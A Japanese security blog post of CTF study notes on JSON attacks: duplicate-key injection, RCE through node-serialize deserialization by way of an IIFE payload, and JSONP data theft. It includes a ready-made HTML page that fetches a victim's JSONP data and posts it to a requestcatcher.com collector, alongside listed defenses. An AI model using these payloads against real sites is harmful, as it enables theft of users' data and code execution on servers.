はまやんはまやんはまやん

hamayanhamayan's blog

WebセキュリティにおけるJSON関連問題への傾向と対策 [JWT JSONP]

本まとめはセキュリティコンテスト(CTF)で使えるまとめを目指すのが主です。
悪用しないこと。勝手に普通のサーバで試行すると犯罪っぽいです。

JSONへの攻撃手法

  • インジェクション
    • JSONの構造を書き換えてしまう危険性を解説する
    • これとは別途受け取ったJSONを使用するときにXSSとかコマンドインジェクションとかは注意すべき
  • CWE-502 安全でないデシリアライゼーション
    • 確かそういう問題を見たはず。バックエンドがnode.jsの時に発動できる
  • JSONP(別章)
  • JWT(後で別にまとめる)

インジェクション

外部入力を入れ込んでJSONを作成するときに脆弱な部分を作りこむときがある。

const userdata = `{"type":"guest","username":"${username}"}`;
data = JSON.parse(userdata);
if (data.type === "admin") {
    // for admin
}

こういうコードがあって、username変数にユーザー入力が入るとする。
悪意あるユーザーが","type":"adminを入れると、userdataとして{"type":"guest","username":"","type":"admin"}となる。
JSON.parseでは同名のkeyがあった場合は、最後に出てきたkeyのvalueが採用されるので、guestではなくadminに書き変わってしまう。

安全でないデシリアライゼーション

バックエンドがjavascriptで書かれていて、ユーザー入力を含むjsonファイルをnode-serializeでパースして
オブジェクトを作成するときに、RCE(特に任意のjsコード実行)が成立する場合がある。

参考

evilなjsonコードの作成方法

  1. baseを作る
evil = {
  items: {
    '3': { name: function(){ return "hi"; }, price: 14.99, count: 1 }
  }
};
var serialize = require('node-serialize');
let buff = new Buffer.from(serialize.serialize(evil));
console.log(buff);

読み込むjsonの形式に合わせて作るが、読まれる部分に関数を埋め込む。このようにしてみると、以下のように出てくる。

{"items":{"3":{"name":"_$$ND_FUNC$$_function(){ return \"hi\"; }","price":14.99,"count":1}}}
  1. 即時実行関数式にする

あんましよくわかっていないが、nameプロパティが呼ばれたときに関数を実行させるために、即時実行関数式(IIFE)に変換する。
プロパティがメソッドに変化してるので、そのままではダメっぽいのは分かるけど、IIFEにすると動くのはキチンと理解してない。
IIFEの戻り値がプロパティの中身となってくれる?なんとなく分かるけどって感じ。

{"items":{"3":{"name":"_$$ND_FUNC$$_function(){ return \"hi\"; }()","price":14.99,"count":1}}}

JSONP

JSONをvbscriptとして読み込ませるJSONハイジャック(CVE-2013-1297)に注意 | 徳丸浩の日記
ここを見るよりも、徳丸サイトを見るほうが情報量が多い。

JSONP (JSON with padding) とは、scriptタグを使用してクロスドメインな(異なるドメインに存在する)データを取得する仕組みのことである。HTMLのscriptタグ、JavaScript(関数)、JSONを組み合わせて実現される。
JSONP - Wikipedia

<script type='text/javascript' src='http://example.com/jsonp?callback=XXX'>
こんな感じに使うわけだけど、jqueryだと標準機能でうまいことやってくれるやつがある。

$.ajax({
    dataType: 'jsonp',
    jsonp: 'callback',
    url: 'https://example.com/jsonp?callback=?',
    success: function (data) {
        /* ここで取得したデータを処理
           callbackの関数名は適当にjquery側で付けてくれる */
    }
});

JSONPインジェクション

IEで有名なContent Sniffingが発生しうる。 (別にJSONPだからという訳ではないかも、要調査) JSONPは危険なので禁止 – yohgaki's blog

対策

  • (そもそも、モダンなブラウザでContent Sniffingって成立するの?)
  • X-Content-Tyope-Options: nosniffを付ける

CSRF

クロスサイトの許容が前提としてあるので、CSRFで踏ませることが可能。 以下のようなサイトをrepl.itとかで作って踏ませれば、相手権限で得たレスポンスを抜き取れる

<html>
  <head>
    <script src="https://code.jquery.com/jquery-1.8.2.min.js"></script>
  </head>
  <body>
    <form action="https://????.requestcatcher.com/test" method="POST" >
    <input type="hidden" name="data" value="template" id="input" />
    <script>
      $(document).ready(function(){
        $.ajax({
          dataType: 'jsonp',
          jsonp: 'callback',
          url: 'https://example.com/jsonp?callback=?',
          success: function (data) {
              var input = document.getElementById("input");
              console.log(data);
              input.value = data.flag;
              document.forms[0].submit();
          }
        });
      });
    </script>
  </body>
</html>

対策法

  • CSRFの一般的な対策を適用する
    • リファラの確認(でも、どうとでもなりそうなので、気休め程度かも。無いよりマシか)
    • token?jsだと難しいのかな?にしてもtoken的なものしかないような
  • 対策法無し?そもそもJSONPは使っちゃダメか。XHRを使う(まだ要調査)
    • 徳丸サイトを見てもXHR使っても結局クロスオリジンなので注意点が色々書いてある
    • まだ脅威と対策が自分の中でまとまり切ってない

JSON ハイジャック?

よくわかっていない。また今度追記する。

CTF問題

Practicalな話

実装時に気を付けること

  • jsonをパースするときは注意。よくあると思うけど
  • ユーザ入力が入るときはサニタイジングだけど、過信もできないので、極力入れない
    • "を抑制するだけでだいぶ効果が出そう(要調査)
  • JSONPは使わない

(CTFじゃ使えないけど)テストツール

未調査